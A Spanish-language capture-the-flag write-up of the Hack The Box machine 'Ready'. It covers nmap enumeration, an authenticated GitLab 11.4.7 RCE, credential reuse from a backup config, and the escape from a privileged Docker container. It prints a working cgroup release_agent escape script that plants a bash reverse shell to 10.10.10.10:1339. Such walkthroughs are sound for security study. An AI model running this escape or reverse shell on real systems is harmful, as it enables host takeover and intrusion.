En Ready encontramos una version de GitLab con una vulnerabilidad que aprovechamos para obtener acceso en un contenedor de Docker. Escalamos privilegios con contraseñas almacenadas, tras una enumeracion encontramos que el contenedor de Docker tiene la flag privileged activado lo que nos dio acceso como root en el Host.
Nombre |
Ready |
OS |
Linux |
Puntos |
30 |
Dificultad |
Media |
IP |
10.10.10.220 |
Maker |
bertolis |
Matrix
|
{
"type":"radar",
"data":{
"labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
"datasets":[
{
"label":"User Rate", "data":[5.8, 5.7, 6.6, 3.4, 4.3],
"backgroundColor":"rgba(75, 162, 189,0.5)",
"borderColor":"#4ba2bd"
},
{
"label":"Maker Rate",
"data":[0, 0, 0, 0, 0],
"backgroundColor":"rgba(154, 204, 20,0.5)",
"borderColor":"#9acc14"
}
]
},
"options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
"angleLines":{"color":"rgba(255, 255, 255,0.6)"},
"gridLines":{"color":"rgba(255, 255, 255,0.6)"}
}
}
}
|
NMAP
Escaneo de puertos con nmap nos muestra el puerto ssh (22) y el puerto http (5080) abiertos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
# Nmap 7.91 scan initiated Tue Feb 16 18:21:59 2021 as: nmap -p- --min-rate 10000 -oN allports 10.10.10.220
Warning: 10.10.10.220 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.10.220 (10.10.10.220)
Host is up (0.098s latency).
Not shown: 43467 closed ports, 22066 filtered ports
PORT STATE SERVICE
22/tcp open ssh
5080/tcp open onscreen
# Nmap done at Tue Feb 16 18:23:06 2021 -- 1 IP address (1 host up) scanned in 66.86 seconds
# Nmap 7.91 scan initiated Tue Feb 16 18:23:31 2021 as: nmap -p 22,5080 -sV -sC -oN serviceports 10.10.10.220
Nmap scan report for 10.10.10.220 (10.10.10.220)
Host is up (0.070s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
5080/tcp open http nginx
| http-robots.txt: 53 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile
| /dashboard /projects/new /groups/new /groups/*/edit /users /help
|_/s/ /snippets/new /snippets/*/edit
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://10.10.10.220:5080/users/sign_in
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Feb 16 18:23:46 2021 -- 1 IP address (1 host up) scanned in 14.65 seconds
|
HTTP
Encontramos Gitlab en el puerto http 5080.
Nos registarmos y logramos encontrar que la version es 11.4.7
.
GITLAB RCE - USER [CONTAINER]
Realizamos una busqueda de vulnerabilidades para la version de gitlab, encontramos una la cual permite ejecucion remota de comandos, para que funcione requieren de autenticacion, estar registrado en la plataforma.
1
2
3
4
5
6
7
8
9
10
|
┌──(kali㉿kali)-[~/htb/ready/exploits]
└─$ searchsploit gitlab 11.4.7
------------------------------------------------------------------------------ ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------ ---------------------------------
GitLab 11.4.7 - RCE (Authenticated) | ruby/webapps/49334.py
Gitlab 11.4.7 - Remote Code Execution | ruby/webapps/49257.py
GitLab 11.4.7 - Remote Code Execution (Authenticated) | ruby/webapps/49263.py
------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results
|
Utilizamos el primer exploit al cual pasamos los parametros requeridos, logramos obtener una shell con el usuario git y la flag user.txt
.
ROOT [CONTAINER]
Realizamos una pequeña enumeracion en la maquina, encontramos que el lugar donde estamos es un contenedor docker, tambien una carpeta que contiene el “backup” de algunos archivos, entre ellos se encuentra el archivo de docker y backups de gitlab.
1
2
3
4
5
6
7
8
9
|
ls -lah
ls -lah
total 112K
drwxr-xr-x 2 root root 4.0K Dec 7 09:25 .
drwxr-xr-x 1 root root 4.0K Dec 1 16:23 ..
-rw-r--r-- 1 root root 872 Dec 7 09:25 docker-compose.yml
-rw-r--r-- 1 root root 15K Dec 1 16:23 gitlab-secrets.json
-rw-r--r-- 1 root root 78K Dec 1 19:20 gitlab.rb
git@gitlab:/opt/backup$
|
En el archivo gitlab.rb
encontramos una contraseña, utilizamos esta contraseña con el usuario root y logramos obtener una shell root dentro del contenedor.
1
2
|
#git@gitlab:/opt/backup$ cat gitlab.rb | grep password |grep -v '^#'
#gitlab_rails['smtp_password'] = "wW59U!ZKMbG9+*#h"
|
PRIVILEGE ESCALATION
Como se mencionó, encontramos el archivo del contenedor docker, con la configuracion de los puertos, servicios, red, etc. pero encontramos que el contenedor podria estar corriendo con “privilegios” (privileged: true
).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
version: '2.4'
services:
web:
image: 'gitlab/gitlab-ce:11.4.7-ce.0'
restart: always
hostname: 'gitlab.example.com'
environment:
GITLAB_OMNIBUS_CONFIG: |
external_url 'http://172.19.0.2'
redis['bind']='127.0.0.1'
redis['port']=6379
gitlab_rails['initial_root_password']=File.read('/root_pass')
networks:
gitlab:
ipv4_address: 172.19.0.2
ports:
- '5080:80'
#- '127.0.0.1:5080:80'
#- '127.0.0.1:50443:443'
#- '127.0.0.1:5022:22'
volumes:
- './srv/gitlab/config:/etc/gitlab'
- './srv/gitlab/logs:/var/log/gitlab'
- './srv/gitlab/data:/var/opt/gitlab'
- './root_pass:/root_pass'
privileged: true
restart: unless-stopped
#mem_limit: 1024m
networks:
gitlab:
driver: bridge
ipam:
config:
- subnet: 172.19.0.0/16
|
Realizamos la “explotacion” utilizando un PoC descrito en HackTricks con el cual logramos obtener una shell inversa y nuestra flag root.txt
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
# In the container
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/10.10.10.10/1339 0>&1" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
#head /output
|